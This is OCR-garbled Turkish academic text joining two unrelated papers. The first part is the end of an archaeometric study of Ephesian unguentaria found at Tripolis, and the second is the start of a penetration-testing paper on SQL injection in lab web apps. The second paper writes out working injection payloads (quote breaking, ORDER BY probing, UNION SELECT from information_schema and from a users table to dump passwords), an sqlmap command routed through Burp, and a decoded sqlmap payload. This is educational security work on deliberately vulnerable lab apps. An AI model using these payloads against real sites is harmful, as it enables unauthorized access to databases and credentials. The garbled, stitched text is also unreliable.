cubuk {izerine yapistirtlmasiyla hazirlanmis ve ardindan
bu, Quarum Sputter Coater kullanilarak bir Au/Pd film ile
kaplanmustir.

MAKROSKOBIK - MIKROSKOBIK CALISMALAR

Makroskobik incelemelere gore; yiikseklikleri 5-10
cm. arasinda degismekte olan 6rnekler, yapisal unsurlar
gbz Oniine almarak sivri dipli olarak tanimlanmigtir
(Sekil 2). Benzer siniflama Tripolis ve Laodikea antik
kentlerinde bulunan unguentarium o&rnekleri i¢in de
gergeklestirilmistir (Simsek ve Duman, 2007; Semiz
ve Duman, 2017). Orneklerin hepsi ince taneli olup
ylizey renkleri koyu gri ve koyu grimsi kahverengi renk
tonlarinda gozlenmektedir (Sekil 4).

Sivri Dipli Unguentarium

L 4066 10YR 4/2

a 255 Koyu grimsi
b 945 kahverengi

L 27.64 10YR3/2

a 167  Gok koyu grimsi
b 741 kahverengi

E 38.49 10YR 4/2

a 212 Koyu grimsi
b 883 kahverengi

TE3

TE2 0 1 2 3cm

Sekil 4: Tripolis unguentarium orneklerinin makroskobik
goriiniimleri ve renk 6l¢iim sonuglart.
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Mikroskop calismalarina gore ornekler ince silikat
kristalli olarak tanimlanmaktadirlar. Tim O6rneklerin
yaklasik olarak benzer mineralojik bilesimlere sahip
olduklan tespit edilmistir. Buna gore optik mikroskop
calismalarinda Ornekler, bol miktarda mika (muskovit
ve biyotit), kuvars, plajiyoklas mineralleri icermektedir
(Sekil 5a). Mika mineralleri kiigiik boyutlarda (0.27-
0.6 mm) olup belirgin yonlenmeli olmasi ile dikkati
cekmektedir (Sekil 5a ve b). Kuvars tanelerinin boyutlari
0.2-0.5 mm. arasinda degismekte olup genellikle koseli
kuvars taneleri seklindedir. Plajiyoklas minerali TE3
orneginde ¢ok yaygin olup belirgin polisentetik ikizlenme
gostermesiyle tespit edilmistir (Sekil 5c). Orneklerde
kayag pargaciklart da az oranda gézlenmektedir. Kayag
pargaciklarinin kuvarsit olduklar1 ve yaklasik 2.25
mm boyutlarma ¢iktiklar1 tespit edilmistir. Orneklerde
diizensiz bosluklar yani sira kanal seklinde bosluklarda
belirgindir. TE1 6rnegindeki kanal seklindeki bosluklarin
belirgin bir yonlenme gosterdigi ve bu ydnlenmenin
seramik hamurunun pisirilmeden 6nce cark ile yapildigi
seklinde yorumlanmistir (Sekil 5d). Benzer sekilde bosluk
kenarindaki mika minerallerinde yonlenmede belirgin
sekilde gozlenmektedir.
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Sekil 5: Efes Unguentarium 6rneklerinin optik mikroskop
goriintimleri.

X- ISINI KIRINIMI (XRD) CALISMALARI

Unguentarium  Ornekleri  iizerinde ince kesit
incelemeleri yani sira bir 6dmek lizerinde XRD analizi
gergeklestirilmisti. XRD analizlerinin yar1 kantitatif
degerlendirilmesi sonucunda yaklasik yiizde igerikleri
belirlenmistir. XRD analizinde 6rnegin egemen olarak
kuvars (%32.6), plajiyoklas (albit) (%31.1), diyopsit
(%12.6), mika (%9.2), gehlenit (%8.5), hersinit (%4.0) ve
manyetit (%2.0) mineralleri igerdikleri tespit edilmistir
(Sekil 6). Seramik orneklerindeki hematit ve manyetit
mineralinin miktari, pisirim atmosferinin oksitleyici
(oxidizing) mi yoksa indirgeyici (reducing) mi oldugunun
belirlenmesinde biiylikk 6nem tagimaktadir. Bu tip
orneklerde hematit fazla oldugunda kirmizi bir renk
hakim olurken, manyetit fazla oldugunda ise siyah veya
gri renkler 6ne ¢tkmaktadir (Tarhan vd., 2021). Incelenen
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orneklerin igerdigi hersinit ve manyetit mineralinin
fazlaligindan dolay1 indirgeyici atmosferde iiretildikleri
distiniilmektedir.

Maksimum pisirim sicakligi, analiz edilen Ornekler
icerisinde tespit edilen bazi minerallerin varligi veya
yokluguna gore yapilmaktadir (Shoval vd., 2006;
Maritan vd., 2006; Jordan vd., 2009; Ortega vd., 2010;
Semiz ve Duman, 2017; Semiz, 2021). Semiz ve Duman
(2017) tarafindan detaylar1 verilen mineral 6zelliklerine
gore, pisirim siiresince en onemli mineralojik degisim
kil minerallerinin gdzden kaybolmasi ve yeni silikat
minerallerinin ortaya ¢ikmasi olarak tanimlanmaktadir.
Buna gore, Efes unguentarium 6rneklerinde yapilan ince
kesit ve XRD analizlerinde belirgin bir kil minerallerine
rastlanmamis olmasi nedeniyle pisirim sicakliklarinin
800°C’nin iizerinde oldugu diisiiniilmektedir. Incelenen
unguentarium orneklerindeki yiiksek sicaklik
minerallerinin (gehlenit, diyopsit vb.) varligi, pisirim
sicakliklarinin yaklagik 1000 °C civarinda olduguna isaret
etmektedir.
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Sekil 6: Unguentarium 6rneginin X-1sinlar1 kirmimi deseni
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TARAMALI ELEKTRON MiKROSKOBU VE ENERJI

DAGITICI SPEKTROSKOPI (SEM-EDS) ANALIZi

Baslangi¢c malzemesini olusturan killer, kiregsiz (CaO
< %6) ve kiregli (CaO > %6) olmak lizere iki ana tiirde
ayrimlar1 yapilabilmektedir (Tite vd., 1982). Maniatis
ve Tite’ye (1981) gore, hem kiregsiz hem de kirecli
killerin pisirilmesi sirasinda vitrifikasyon gelisimindeki
asamalar “Vitrifikasyonsuz (NV), Baslangic vitrifikasyon
(IV), Yogun Vitrifikasyon (EV) ve Siirekli vitrifikasyon
(CV)” olarak siniflandirilmaktadir. Taramali elektron
mikroskobu, arkeolojik seramiklerin morfolojisini ve
vitrifikasyon (camsilagma) derecesini karakterize etmek
ve pigirme sicakligini tahmin etmek igin yaygin olarak
kullanilmaktadir (Tite vd., 1982; Semiz, 2021).

Buna gore, Efes unguentarium 6rneklerinin <%6 CaO
iceriklerinden dolay1 karbonatsiz killerden iiretildikleri
goriilmektedir. Orneklerin taramali elektron mikroskobu
gorilintlilerine gdre tanelerin diizensiz sekillerde ve
degisik biiyiikliiklerde olduklar1 tespit edilmistir. Ornek
iizerinde gozlenen bosluklarin ise genel olarak 2.0 — 10.1
um boyutlarinda olduklart Sl¢iilmiistir (Sekil 7a). Bu
kiigiik boyuttaki bosluklarin, kirecsiz killerden olusan
orneklerde ve indirgen atmosferdeki pisme sirasinda
yogun camsilagma (vitrifikasyon) yiizinden olabilecegi
diisiniilmektedir.  Sonu¢ olarak, XRD analizleri
sonucunda ortaya koyulan Orneklerin 850-1050 °C
sicakliklarda pisirildikleri yorumu SEM-EDS analizleri
ile de desteklenmektedir.

Unguentarium orneklerinin - hamur bilesimlerinin
kimyasal icerigi SEM-EDS analizi ile belirlenmistir.
Orneklerin  EDS  spektrumlari ile iglerinde egemen
olan silisyum, alliminyum, potasyum ve daha az
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oranda sodyum, magnezyum ve demir gibi elementler
belirlenmistir (Sekil 7b). SEM-EDS analiz sonucunda
dort noktada yapilan analiz verisinin degerlendirmesi
sonucunda biinyesinde potasyum, sodyum, aliiminyum
ve silisyum bilesenleri igerdikleri ve bu igeriklerinin
mineralojik bilesimlerinde gézlenen ve/veya yeni mineral
olarak olusabilecek diyopsit ve gehlenit mineralleri ile
iligkili olabilecegi diisiiniilmektedir. Elde edilen verilerde
orneklerin bilesiminde yiiksek sicaklik minerallerinin

gozlendigi seklinde yorumlanmaktadir.
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Sekil 7: Unguentarium 6rneginin taramali elektron mikroskobu
goriintimil ve EDS 6l¢tim sonuglart
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KIMYASAL ANALIZLER

Efes Unguentarium Orneklerinin ana ve iz element
icerikleri Tablo 1’de verilmektedir. Efes Unguentarium
orneklerinin kimyasal igerikleri dnceki yillarda Semiz
(2019 ve 2021) tarafindan yapilan Tripolis ve Laodikeia
unguentarium analiz sonuglari ile de karsilastirilmistir.

Tablo 1: Efes Unguentarium drneklerinin major ve bazi iz
element kimyasal analiz sonuglari.

Element Birim TEI1 TE2 TE3 Element Birim TE1 TE2 TE3
SiO, % 5378 5253 52.59 Ni ppm 94.1 87.8 95.1
TiO, % 1.05 1.03 0.95 v ppm 1793 1433 176.4
ALOs % 2406  23.11 2286 Hf ppm <16 4.0 2.5
Fe,04 % 9.68 8.95 8.36 Pb ppm 52.1 445 273
MnO % 0.10 0.09 0.09 Ta ppm <1,7 <10 <16
MgO % 3.86 3.75 3.56 Co ppm 68.7 78.0 84.5
CaO % 3.73 3.98 3.53 U ppm 1.5 2.4 2.0
Na,O % 1.36 1.58 1.65 w ppm 2757  329.6  443.1
K>,0 % 3.08 3.31 3.07 Ga ppm 30.1 28.6 26.9
P,0s % 0.23 0.21 0.22 Cu ppm 37.1 33.1 343

Zn ppm 89.2 82.7 84.2
Cr ppm 122.9 116.6 128.6 Se ppm 0.9 1.5 1.1
Ba ppm 552.0 547.0  579.0 As ppm 29.6 26.2 10.9
Rb ppm 131.8 127.0 119.7 Ge ppm 0.9 0.2 0.7
Sr ppm 162.5 179.4 171.0 Sn ppm 16.1 183 18.9
Y ppm 533 48.6 41.8 La ppm 37.1 93.0 <20
Zr ppm 166.4 201.7 197.4 Ce ppm 549 111.0 <20
Nb ppm 20.7 225 18.5 Pr ppm 354 <20 <20
Th ppm 29.0 26.0 21.2 Nd ppm 87.2 51.8  143.6

Orneklerin SiO, igerikleri ortalama  %52.97
oranindadir. SiO, igerigi orneklerde ¢ok fazla olmadig
goriilmektedir. Bu oranin orneklerdeki kuvars ve/veya
plajiyoklas igerikleri ile iligkili oldugu diisiintilmektedir.
Orneklerde belirgin oranda Na,O (ort. %1.53) igeriginde
fazlalik dikkati ¢ekmektedir (Sekil 8a). Bu fazlalik
mineralojik olarak icerdigi tespit edilen plajiyoklas (albit)
mineralleri ile iliskili olabilir. Yiiksek Fe O, (%8.99) ve
ALQO, (%23.34) oranlari igerdikleri tespit edilmistir (Sekil
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8b). Diisiik CaO (%3.74) igerikleri ne sahiptirler. Bu
durumda mineralojik olarak drneklerde kalsit mineralinin
rastlanmamasi ile dogru orantilidir (Sekil 8c). Baz1 iz
elementler (Cr, Y, Zr, Ti vb) jeokimyasal yol gdsterici
olarak siklikla kullanilmaktadir (Mommsen 2001;
Belfiore vd., 2007; Tordanidis vd., 2009). iz elementlerin
elementsel profilleri hemen hemen tim oOrnekler igin
benzer dzellikler gostermektedir (Sekil 8d).

Efes Unguentariumlarinin SiO, ve CaO igeriklerinin
Tripolis ve Laodikeia unguentarium 6rneklerinden diigiik
seviyelerde Na,O, ALO,, Fe O, oranlari ise belirgin
sekilde yiiksektir.  Yiiksek Y degerleri ile Ornekler
farklilik gostermektedir. Bu durum Tripolis’te ele gegcen
Efes unguantarium Orneklerinin Tripolis ve Laodikeia
iiretimi olan unguentariumlarindan farkli oldugu kesin

olarak sdylenebilir.

Kirectast iceren karasal hammadde de Sr miktar
genellikle 150 ppm’den az, denizel igerikli hammadde
de bu oran >400 ppm civarinda oldugu bilinmektedir.
Ayrica karasal hammaddenin Zirkonyumun (Zr) da 160
ppm’den fazla olmasi beklenmektedir (Akyol vd., 2013).
Unguentarium 6rneklerinin Sr icerigi ortalama 171.0 ppm,
olup Zr igerigi ise 188.5 ppm degisim vermektedir (Sekil
8d). Orneklerin Zr degerleri 160 ppm’den fazla olup Sr
icerikleri 150 ppm’den fazla oldugu i¢in unguentarium
orneklerinin iiretiminde ¢ogunlukla tek basmna karasal
hammaddenin kullanilmis oldugu disiiniilmektedir.
Mineralojik  verilerinde  beraber  degerlendirilmesi
sonucunda drneklerin karasal hammaddeden olmus olmast
ve igerdigi bol kuvars, mika ve kuvarsit ¢akillarindan
dolay1 Efes civarinda olabilecek olan Menderes Masifi
kayaclarindan iiretilmis olabilecegi diisiiniilmektedir.
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kars1 CaO ve d. Zr’a kars1 Y korelasyon diyagramlari.

SONUCLAR

Tripolis antik kentinde bulunan Efes iiretimi
unguentarium Ornekleri ince kristalli olup makroskobik
olarak sivri dipli olarak tanimlanmustir. Petrografik olarak
ornekler bol mika, kuvars, plajiyoklas, diyopsit, gehlenit,
hersinit ve manyetit mineralleri igermektedir. XRD
analizlerinde tespitedilen manyetitmineralinin varligindan
dolay1 indirgen atmosferde firmlandig: diistiniilmektedir.
XRD ve SEM-EDS analizlerinin yorumlanmasi
sonucunda Orneklerin pisirim sicakliklarinin yaklagik
1000°C civarinda oldugu tespit edilmistir. Kimyasal analiz
verilerinin degerlendirilmesi sonucunda ise Tripolis’ten
alman Efes unguentarium O&rneklerinin Tripolis ve
Laodikeia’da iiretilen unguentarium Orneklerinden
farkli olduklart tespit edilmistir. Efes Unguentarium
orneklerinin Sr ve Zr igeriklerine gore, iiretimlerinde
karasal hammadde kullanildig1 ve kil yataklar1 olarak
Menderes Masifi igerisindeki bir kaynaktan iiretildikleri
distiniilmektedir.
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WEB UYGULAMASI UZERINDE BULUNAN SQL
ENJEKSIYON ZAFIYETININ BELIRLENMESINDE VERI
YUKU ANALIzZi

Ramazan, CANKUS', Resul KARA?

GIRIS

SQL enjeksiyonu bir uygulamanin giivenlik agigindan
faydalanarak uygulama ile bagh bulundugu veri tabam
arasindaki yapilan SQL sorgularinin manipule edilmesi
islemidir. Siber saldirganlar, bu sorgu kosullarin
degistirerek veritabaninayetkisizolarak erisimsaglayabilir.
Veritabaninda bulunan hassas verilere ulasarak uygulama
kullanicilarini, 6nemli kurum ve kuruluslar1 zarara
ugratabilirler. [ 1]’ de S1zma testi yaklasimi kullanilarak bir
etki alaninin mevcut web uygulamalarinda bulunan SQL
enjeksiyon giivenlik agiklarinin bir degerlendirmesini
ve analizini sunulmustur. SQL enjeksiyon sirasinda
kullanilan adimlar agiklanmigtir. SQL enjeksiyonunda
temelde GET ve POST tabanli yontemler kullanilir.
Bir web uygulamasinda tarayicinin URL bdliimiinde
1 %amazan Cankus, Diizce Universitesi, 0000-0001-5197-5287, ramazancankus@gma-

2 Resul KARA, Diizce Universitesi Miihendislik Fakiiltesi, 0000-0001-8902-6837, re-
sulkara@duzce.edu.tr
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SQL enjeksiyon denemeleri GET tabanli yontemlerdir.
Kullanict oturum agma gibi web uygulamasinin input
alanlart boliimiine yapilan SQL enjeksiyon denemeleri
POST tabanli SQL enjeksiyon yontemidir [1].

Web uygulama test teknikleri yardimiyla giivenlik
gereksinimlerinin kontrol edilmesi mimkiin
goriinmektedir. Bununla birlikte, bu teknikler temel
olarak, sonug¢lart1 uzmanlar tarafindan yorumlanarak
cogunlukla manuel olarak tetiklenen gilivenlik testleri
ylriitmeye  odaklanilmaktadir. Bu amacla, SQL
enjeksiyon giivenlik agiklarint siirekli olarak test etmek
i¢cin sqlmap kullanmanin deneysel test sonuglarini asmak
ve sunmak icin c¢aligmalar aciklanmaktadir. Sqlmap,
bir uygulamanin SQL enjeksiyon saldirisina karsi
savunmasiz olup olmadigini degerlendirmeye ¢alismanin
yani sira, giivenlik agiklart durumunda, saldir1 vektoriinii,
yani giivenlik agiklarindan yararlanmak i¢in kullandigi
yukleri de ortaya c¢ikarir [4]. Saldirganlar, ¢esitli web
uygulamalarina kotii niyetli bir sekilde erismek icin
bunlardan yararlanmak icin hi¢ bitmeyen bir giivenlik
ac1g1 ve yiik listesine sahiptir [6].

Web uygulamalarina genele olarak erisimde,
tarayictya uygulamanin URL adresini yazan kullanici
tarafindan erigilir. Tarayict URL baglantiy1 alir ve
bunlar1 giivenlik duvari araciligiyla tarayiciya bagl web
sunucusuna iletir. Web sunucusu da bir giivenlik duvari
araciligiyla veritabanina baglanir. Giivenlik duvarlari,
veritabanina baglanmak i¢in yetkisiz istekleri engeller.
Web servislerine kullanici dostu bir arayiiz saglamak
icin tarayicilardan gelen isteklerin ¢ogunun giivenlik
duvarmi gecmesine izin verilir. Tarayict tarafindan
saglanan istek web sunucularina ulastiginda, istek bir
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SQL sorgusu olusturmak i¢in kullanilir. Bu sorgu daha
sonra veritabanina ulasmak ve kullanici tarafindan
istenen bilgileri almak i¢in giivenlik duvarimi web ve
veritabani sunucusu arasinda gegirir. SQL enjeksiyon
teknigi kullanan saldirganlar, veritabanina kotii niyetli
girdiler enjekte etmeyi ve yetkisiz verileri almay1 talep
ederek veritabanindaki bilgilere erisebilmektedir [1].

Gliniimiizde web uygulamalarina yonelik enjeksiyon
saldirilar1 hala ¢ok siktir ve OWASP gibi kuruluslar,
bunlar1 web uygulamalarina yonelik ilk on giivenlik
riskine yerlestirmektedir. Bu, yazilim gelistiriciler igin
bir referans noktasi ve 6nemli bir uyart olusturur. Bir
web uygulamasi gelistiritrken programecilar, islevsel
dogrulama ile daha fazla ilgilenme egilimini degistirmeli
ve glivenli programlamaya daha az deger vermelidir.
En yaygin enjeksiyon saldirilarina kargi savunmasiz
olan web uygulamalarinin da oldugu bilinmektedir [2].
Buradan hareketle calismada SQL enjeksiyon zafiyetinin
belirlenmesinde savunmasiz olarak gelistirilen DWVA
ve Web For Pentester uygulamalari {izerinde SQL
enjeksiyon saldirilar1 denenmis ve kullanilan veri yiikleri
analiz edilmistir. SQL enjeksiyon zafiyetinin kesfinde
kullanilan veri yiikleri nemli bir unsurdur. Elle denenen
basarili SQL enjeksiyon sorgulari ve otomatize olarak
veri yiikii denemesi gergeklestiren araglar basarili yiikiin
denenmesi sonucunda bu zafiyet belirlenmekte ve istismar
edilmektedir.

Bu c¢aligmada penetrasyon testlerinde kullanilmakta
olan DVWA ve Web For Pentester uygulamalari iizerinde
SQL enjeksiyon zafiyetinin belirlenmesinde veri yiikleri
ile analiz edilmistir. GET ve POST tabanl elle yapilan
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SQL sorgular1 ve otomatik olarak SQL enjeksiyon
denemesi gerceklestiren sqlmap programinin zafiyeti
belirlerken yaptigi sorgular, veri yiikleri incelenecektir.
Veri yiiklerinin tespitinde penetrasyon testlerinde siklikla
kullanilan agda olusan trafigi izlememizi saglayan, proxy
ozelligi bulunan Burp Suite programi kullanilmistir.
Calismaya ek olarak elle gerceklestirilen sorgu denemesi
ile otomatik olarak SQL enjeksiyon denemeleri yapan
sqlmap programi karsilastirilacaktir. Sqlmap araci ile
yapilan SQL enjeksiyon saldir1 veri yiikii denemeleri ile
de veri tabanindan bilgiler ¢ekilmeye g¢alisiimistir. Burp
suite programinda yapilan bu incelemede veri yiikleri
decode edilerek veri yiiklerinin veri tabanindan bilgi
¢ekerken yaptiklari sorgular karsilagtirilmistir.

YONTEM

Web uygulamalarinda SQL enjeksiyon zafiyetinin
belirlenmesinde uygulamanin giris alanlarina elle kod
enjekte ederek sizma testi yaklagimi ve otomatize olarak
SQL enjeksiyon denemeleri gerceklestiren Kali Linux
isletim sisteminde bulunan sqlmap araci kullanilmstir.

Kullanilan Araclar

Farkli tiirde sizma testleri yapabilen, licretsiz olarak
sunulan bir¢ok yazilim araci vardir. Bu calismada
asagidaki araclar kullanilmistir.

Kali Linux

Kali Linux dagitimi, gelismis bir sizma testi yazilimini
temsil eder. Kali Linux, 600’den fazla etik korsanlik
aractyla etik bilgisayar korsanlarinin giivenlik becerilerini
test etmek icin RAM’e yiiklenen canli bir goriintii kullanir.
Giivenlik ag¢ig1 analizi, web uygulamalari, bilgi toplama,
kablosuz saldirilar, tersine miithendislik, sifre kirma, adli
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araglar, web uygulamalari, sahtekarlik, dinleme, istismar
araglart ve donanim korsanligi igin c¢esitli giivenlik
araclar1 mevcuttur [3].

Sqlmap

Sqlmap araci, ozellikle SQL enjeksiyon giivenlik
acigmin kesfini hedefleyen popiiler bir aragtir. UNION
sorgu tabanli, yigilmis sorgular, zamana dayali Blind
ve hata tabanl saldirilar denilen (UNION query-based,
stacked queries, out-of-bound, boolean-based blind,
time-based blind and error-based) dahil olmak iizere
farkli saldir1 yontemlerine sahip etkilesimli bir aragtir.
Sqlmap’e saldirt hedefi olarak bir URL verildiginde, arka
uc veritabani yonetim sistemi (DBMS) hakkinda egitimli
bir tahminde bulunmaya calisir. Daha sonra bu tahminlere
gore, GET veya POST gibi belirli bir HTTP yontemi
araciligryla istekler gondererek, s6z konusu belirli temel
DBMS i¢in daha uygun olan farkli enjeksiyon vektorleri
araciligiyla temeldeki DBMS’ye saldirmaya ¢aligir.
Ayrica Sqlmap’ in basarilt bir kullanimi durumunda,
temel alinan DBMS’den bilgi almabilir. Ornegin, mevcut
DBMS kullanicisinin adini, ¢alisan mevcut veritabaninin
adini, veritabani semasini getirilebilir, veritabaninin
tablolarini numaralandirabilir [4].

Burp Suite

Burp Suite bir proxy aracidir. Http protokolii lizerinden
yapilan trafigin incelenebilmesi ve islem yapilabilmesine
olanak saglar. Sunucu ile istemci arasinda olusan ag
trafigi Burp Suite araci ile goriilebilmektedir. Burp suite
SSL sertifikasyon dosyasi igeri aktarilmasi sonrasinda
SSL istekleri de Burp Suite araci lizerinden goriilebilir.
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Burp Suite, web uygulamalarina yonelik giivenlik
kontrollerinde, hem manuel hemde otomatize testlerde
kullanilan ve sizma testleri  gerceklestirenlerin
kullandiklar1 ana araglardan biri haline gelmistir. Burp
Suite aract windows bilgisayarlara yiliklenebilmekte ve
ayrica Kali Linux iizerinde yiiklii olarak gelmektedir [5].

BULGULAR

Sizma Testi Yaklasimiyla SQL Enjeksiyon Analizi

Websayfasindagiivenlik agiklari, sorgu olusturulmadan
ve arka ug¢ veritabani sunucularina gonderilmeden once
kullanic1 giris parametreleri dogrulanmadiginda olusur.
SQL enjeksiyon teknigi, web uygulamalart sistemine
erismek i¢in parametre manipiilasyonunu kullanir. Yani
sorguya girdi olarak yetkisiz veya yanlis deger girilmesini
saglar [1].

SQL enjeksiyonun ilk adimi, hata mesajlari olusturmak
icin sorguyu bdlmektir. Bu adimda, URL degeri boliimiine
degerler eklenerek sorgu iki kisma ayrilir. Ornegin, bir
dize degerinin baslangicini ve sonunu belirtmek i¢in SQL
deyiminde tek bir tirnak () karakteri kullanilir. Sekil 1°de
sayfa degiskeni iizerinden giris 2” dir. Bu girdi, sorguyu
olusturan web sunucusuna gonderilir. Dinamik olarak
olusturulan sorguda, deger 2’den sonraki tek tirnak, arka
uctaki SQL sorgunun tek tirnak ¢iftini tamamlar. Bu iglem
dinamik olarak olusturulan SQL sorgusunu bozar ve Sekil
1’de web for pentester uygulamasi lizerindeki baglantida
gosterildigi gibi hata mesajlart iiretir. Gosterilen hata
mesaji arka ugta bir SQL sunucusunun bulundugunu
gosterir. Ayrica SQL sunucusu tarafindan olusturulan
SQL sorgusunun sozdizimini de ortaya cikarir. Buradan
uygulama {izerinde SQL enjeksiyon zafiyetinin oldugu
kanisina vartlir.
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< C A Gvenli degil | 192.168.1.4/sqli/fexample7.php?id=2%27

| ERROR INTEGER REQUIRED I

Sekil 1: Tek Tirnak ile Olusan Hata Mesajt

SQL enjeksiyon zafiyetinin tespitinden sonra
veritabanindan bazi bilgileri almak icin Sekil 3’teki
algoritmadaki iglem sirasi takip edilerek sorguya kod
eklenebilecegi anlagilmistir. Bunun i¢in  “or” mantiksal
baglacit kullanilarak SQL enjeksiyon GET yontemi ile
‘or+1+or’ sorgu ifadesi eklendiginde uygulama tizerinde
ad ve yas bilgileri ¢ekilmistir. Daha sonra sizma testi
yaklagimi ile yapilan bu sorgular ile daha kritik dneme
sahip olan kullanic1 ad ve sifrelerine yonelik bilgilerin
de elde edilmesi diisiliniilebilir. Bunun i¢in ilk dnce veri
tabaninda bulunan siitun bilgileri elde edilir.

Stitun bilgilerinde siitun sayisint  6grenmek igin
fiziksel bilgisayarda kurulu olan Burp Suite programi
calistirilarak olusan trafigin iizerinden gegirilebilmesi
icin proxy sekmesinde 127.0.0.1 ve port 8080 olarak
ayarlama yapilir. Ayn1 zamanda web tarayicinin vekil
sunucu boliimii de 127.0.0.1 ip adresi ve port 8080 olarak
atamasi yapilir. Web for pentester uygulamasinda SQL
enjeksiyon zafiyetinin bulundugu baglanti agilarak olusan
trafik Burp Suite programi iizerinden gecirilmistir. Daha
sonra araya girilen trafik iizerinde Sekil 2’te goriildigii
gibi siitun sayisini ‘order+by+1,2,3,4,5,6...+%23 sorgusu
sunucudan bilgi alimamayincaya kadar sirasiyla denenir.
En son ‘ordertby+5+%23 sorgusundan sonra bilgi



116 | MUHENDISLIK ALANINDA ULUSLARARASI ARASTIRMALAR |1

gelmedigi goriilmesi iizerine tablonun 5 siitunlu oldugu
kanisina varilmistir.

Request Response

JMTMMTHMIH”I Imwlﬂnm Hex
:u!‘..m \n Actions mﬂaw Render n Actions ~

php?name= |[& = = =
R table class='table tab

-

> User-—Agent: Momitiass.a
(Windows NT 10.0:; Win&d: x&4:
*v:95.0) Gecko/ZDLOOLOL
Firefox/S5.0

i Accepe:
ctexc/html, applicationsxhtmléx
ml, application/xml:q=0.9,imag
e/avif,image/webp, */* ;iq=0.8

= Accept-Language:
€r-TR.cr:a=0.8.en-US:a=0._5_enl¥

-
@& (=] [=2]) [seare omatches (D} [« ] [2] s 0 smtches
Request Response
[ mawe | params | readers | mex | [ Raw | Headers | Hex |
Pretty m n Actions. Raw Render \n Actions ~
-

S2 </ divw>

54 div class=“container=>

User—igenc: Momillass.O
iWindows NT 10.0; Wingd4; =&4; 56
rw:S5. 0} Gecko/TOl00101

<footers
53 <p>
&copy; PentesterLab TOL13

Firefox/95.0
4 Accept

text/html, application/xhtml+x

ml_ application/xml;q=0.9, imag <fp>

@favit, image/webp,. /" ;igq=0.8 € <ffooter> =
5 Accept-Language: ! €1 .
tr-TR.tr:a=0_.8_en-US:a=0.5.en Y - = = e
@iy Searc omatches ()45} [« | [ > Se 0 matches

Sekil 2: Burp Suite Siitun Sayis1 Analizi

Siitun sayisini 6grenme isleminden sonra bulunan SQL
enjeksiyon zafiyeti igerisinde tablolarla ilgili bilgi toplama
islemlerine geg¢ilir. Bunun i¢in Burp Suite kullanilarak
tablo isimlerini ve versiyon bilgilerini 6grenmeye yarayan
asagidaki SQL enjeksiyon sorgusu kullanilmistir.

‘+union+select+table

name,version(),3,4,5+from+information_schema.

tables+%23

Web sunucusundan doénen cevaplar incelendiginde
veritabaninda kullanici adlarini barindiran “users” adinda
bir tablo isminin oldugu goriilmiistiir. Buradan yola
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cikarak “users” tablosundaki bilgileri almaya ydnelik
yeni bir enjeksiyon yapilabilecegi anlasilir.

Yapilan SQL enjeksiyon denemesinin amaci
oncelikle tabloda bulunan siitunlarin baslik isimlerinin
Ogrenilmesidir. Bunun i¢in asagidaki SQL enjeksiyon
denemesi yapilmistir:

Stitun ici Siitun
verilerin bashiklarmin

kesfi

Tablo adinn
ogrenilmesi

Burp Suite
Incelemesi

Sekil 3: Elle Yapilan SQL Enjeksiyon Akis Semast

SQL enjeksiyon denemesi sonucu elde edilen siitun
adlan bilgisinde kullanicilarin ad1 ve parola bilgilerinin
tutuldugu siitun bilgilerinin  olabilecegi  kanisina
varilarak, kullanici bilgilerinin 6grenilmesine yonelik,
“‘union+select+name,passwd,3,4,5+from+exercises.
users%?23” SQL enjeksiyon sorgusu yapilmistir. Yapilan
SQL enjeksiyon denemesinin sonucunda Sekil 4’te
gosterildigi gibi kullanici ve sifre bilgilerine erisilmistir.
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& (& T & ?name=rootunion+select+name, passwd,3.4,5+from +exercises.users %23 ¥
id name age
2 root 30
admin admin 3
root admin21 3
user1 secret 3
user2 azerty 3

@ PentesterLab 2013

Sekil 4: Veritabaninda Bulunan Kullanic1 Ad1 Ve Sifre Bilgileri

Sqlmap ile SQL Enjeksiyon Analizi

Web uygulamalarinda SQL enjeksiyon zafiyetinin
belirlenmesinde otomatik olarak SQL enjeksiyonuna
yonelik veriyiikii sorgulari denemeleri yapan araglarla
zafiyetin belirlenmesi ve giivenlik ac¢igimin bulundugu
uygulamaya ait veritabanindan bilgilerin ele gegirilmesi
daha hizli olabilmektedir. Otomatize araclar elle yapilan
sizma testi yaklasimi ile yapilan sorgu denemelerini
arka planda, SQL komutlar1 yardimiyla defalarca
hizli bir sekilde deneyerek SQL enjeksiyon zafiyetini
belirleyebilmektedirler. Bunun i¢in sizma testi yaklasimi
ile yapilan ¢alismaya ek olarak sqlmap araci kullanilarak
web  sunucusunda bulunan  gilivenlik  acigindan
faydalanilip, veriyiikii denemeleri ile bilgilere erisilmeye
caligilmistir. Bunun i¢in VMware sanal platformu iizerine
kurulan Kali Linux isletim sistemi igerisinde hazir
bulunan sqlmap programi ¢aligtirilmistir. Tablo adlarini
bulmay1 ve yapilan veriyiikii denemelerini Burp Suite
aracinda analiz etmeyi saglayan asagidaki komut sqlmap
tizerinde calistirilmistr.



MUHENDISLIK ALANINDA ULUSLARARASI ARASTIRMALAR || ‘ 119

sqlmap --u http://192.168.1.4/sqli/
examplel.php?name=root --tables --proxy
http://192.168.1.5:8080

Yapilan sorgu sonucunda tablo adi bilgisinin
“users” oldugu tespit edilir. Ayrica sqlmap araci
tarafindan gerceklestirilen veriyiikii denemesi Burp
Suite programinda analiz edilerek Sekil 5°te goriildiigu
gibi tespit edilmistir. Tespit edilen veriyiikiiniin kodu
¢oziilerek sorgu ifadesi Tablo 1’e eklenmistir.

==

Mil’omm Headers | Hex Raw | Headers | Hex
el m n Actions v Raw Render  'n Actions v
CET /sqli/examplel.phpinames= . Siean |a
roots278 20UNIONS 20ALLY 20SELECTS ZONULLS 2CCONCATS 2602716 M ey
27678718 2CIFNULLYZBCAST 26t able_schemal Z0ASYZOCHARS 251 Srwnginfornacion schenankdqyeVIINSqpasq
2C0x2042842C0xEAEBEAT1TSE 5N 2CIFNULLAZBCASTH 26t able_nan </uds
©4 20AS4 20CHARY 294 2C0x204 294 2C0x 71707174714 298 2CNULLA 2C b
NULLY ZCHULLY 20FROMVZOINFORMATION_SCHEMA. TABLESZOVHERE <frdr
V20vable_schemal Z0INY 20V 280xE67065726 3657365730 2002456 SIGEY
#EEET26AELT4E5E £605£73EIEBE56E1V29--1 20~ HITP/L. L ‘“’ﬂ

<cd>

Cache-Contzol: no-cache

User-Agent: sqlmap/l.5.10fstable (https://sqlmap.org) “feds
4 Host: 192.168.1.4 <td>
Accept: /% qhvaqexercisesnidqyeusersqpasq
¢ Accept-Encoding: guip, deflate <frd>
Connection: close <wd»
<seds
- <srs v
v e e AE—
@@} i | 0 matches. @{g} &) |2 (usens 1 match

